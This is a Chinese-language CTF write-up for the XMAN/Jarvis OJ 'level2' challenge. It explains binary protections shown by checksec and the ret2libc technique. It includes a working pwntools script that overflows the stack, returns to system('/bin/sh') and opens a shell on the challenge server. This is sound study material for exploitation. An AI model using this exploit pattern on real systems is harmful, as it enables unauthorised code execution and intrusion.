day3:XMANlevel2
一、peda中checksec命令
- CANARY:(金丝雀值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警),类似于windows GS技术,当栈溢出发生时,canary值将在已保存的指令指针被重写前先改变。[canary放在栈中返回地址前,执行ret前检测canary的值]系统检测这个值是否改变[ret前],若栈溢出发生了,canary修改,那么存储返回地址处的指令指针可能也被修改了,因此不能安全返回,函数会调用__stack_chk_fail函数。这个函数会丢出一个错误然后退出进程。
- 缺点:仅保护了sip,未保护应用变量,覆写GOT绕过。
-
FORTIFY:Compile Time Buffer Checks,确定函数执行栈的大小,以避免缓冲区溢出攻击。
- NX:No Execute.现代处理器支持一种称为NX的特性使得系统控制各部分的执行的内存。**即程序栈不可执行。 **
- PIE:随机化加载程序的内存地址。
- RELRO:RELocation Read-Only (RELRO) 重定位只读,它能够保护库函数的调用不受攻击者重定向的影响。
二、level2解题思路
当遇到NX开启,栈不可执行时,首先查看有没有开启ASLR,即PIE.[对本机查看aslr只是在当前机器下栈随机化情况].checksec观察到PIE: No PIE[没有装载地址随机化]。
说明可以使用ret2libc技术。[如果出现栈随机化+栈不可执行则要使用ROP技术]
ret2libc技术的核心:由于栈不可随机化,那么所有库的位置都是固定的,对于任何可执行文件都会默认自动使用引入一些标准库,比如libc库,libc库中存在system函数[即fork+execve+waitpid,可以开启一个子进程执行命令。]的位置也是固定的,在gdb下使用b main+p system就可得到system的起始地址。在退栈时设置返回地址为system函数首地址,再提供例如“/bin/sh”等实现功能的所需参数即可。
栈布局:
注:exit()是为了正常退出,不会因为调用者栈帧被破坏,报错,影响退出过程[退栈返回地址返回到system,调用system时运行push ebp指令,旧ebp 入栈到Address of system()的位置,ebp指向Address of system()的位置,所以返回地址ebp+4即为Address of exit()[在system执行完,ret的时候,会返回到exit],而ebp+8是第一个入口参数,恰好为“/bin/sh”的指针/存储地址,由system使用]
具体参考:
- https://blog.csdn.net/linyt/article/details/43643499
- https://www.shellblade.net/docs/ret2libc.pdf ——强烈建议阅读此篇,很清晰讲述了全过程(注意9-11页的阐述)
- http://www.mamicode.com/info-detail-2277563.html
将Level2拖入IDA,通过shift+F12搜索字符串,会发现/bin/sh[很奇怪的是我在win上用IDA能在level2中搜索到/bin/sh,但是在ubuntu IDA却搜不到,在python中用pwn的ELF模块的search函数能搜索到,说明确实有的]
在IDA左侧的函数列表中也发现了system函数。
因此可以构造system(“/bin/sh”),产生shell。
payload = ‘a’ * (0x88 + 0x4)[任意覆盖] + system函数首地址 + 任意4字节(比如0xdeadbeef或exit函数首地址……) + “/bin/sh”字符串地址
三、解题步骤
1 #!/usr/bin/env python
2 # -*- coding: utf-8 -*-
3
4
5 from pwn import *
6 context(arch="i386",os="linux",log_level = 'debug')
7
8 elf = ELF('./level2') #获得level2文件的ELF
9 sys_addr = elf.symbols['system'] #system函数地址
10 sh_addr = elf.search('/bin/sh').next() #搜索/bin/sh字符串地址
11
12 payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr) #p32将0xdeadbeef转化为字符串
#0xdeadbeef为system("/bin/sh")执行后的返回地址,可以随便指定,比如exit()函数的返回地址
13 # io = process('./level2')
14 io = remote('pwn2.jarvisoj.com', 9878)
15 io.sendlineafter("Input:\n", payload) #在收到Input:\n之后才发出payload
16
17 io.interactive() #交互模式
18 io.close()
四、system补充
System与execev的区别: system =fork+execve+waitpid,是在单独的进程中执行命令,完了还会回到你的程序中【像是当前父进程中断了,先在子进程中运行你的程序/命令,等待子进程运行完成才继续运行父进程中system之后的代码[子进程还是复制了父进程的栈等内存]】。而exec函数是直接在你的进程中执行新的程序,新的程序会把你的程序覆盖,除非调用出错,否则你再也回不到exec后面的代码,就是说你的程序就变成了exec调用的那个程序了。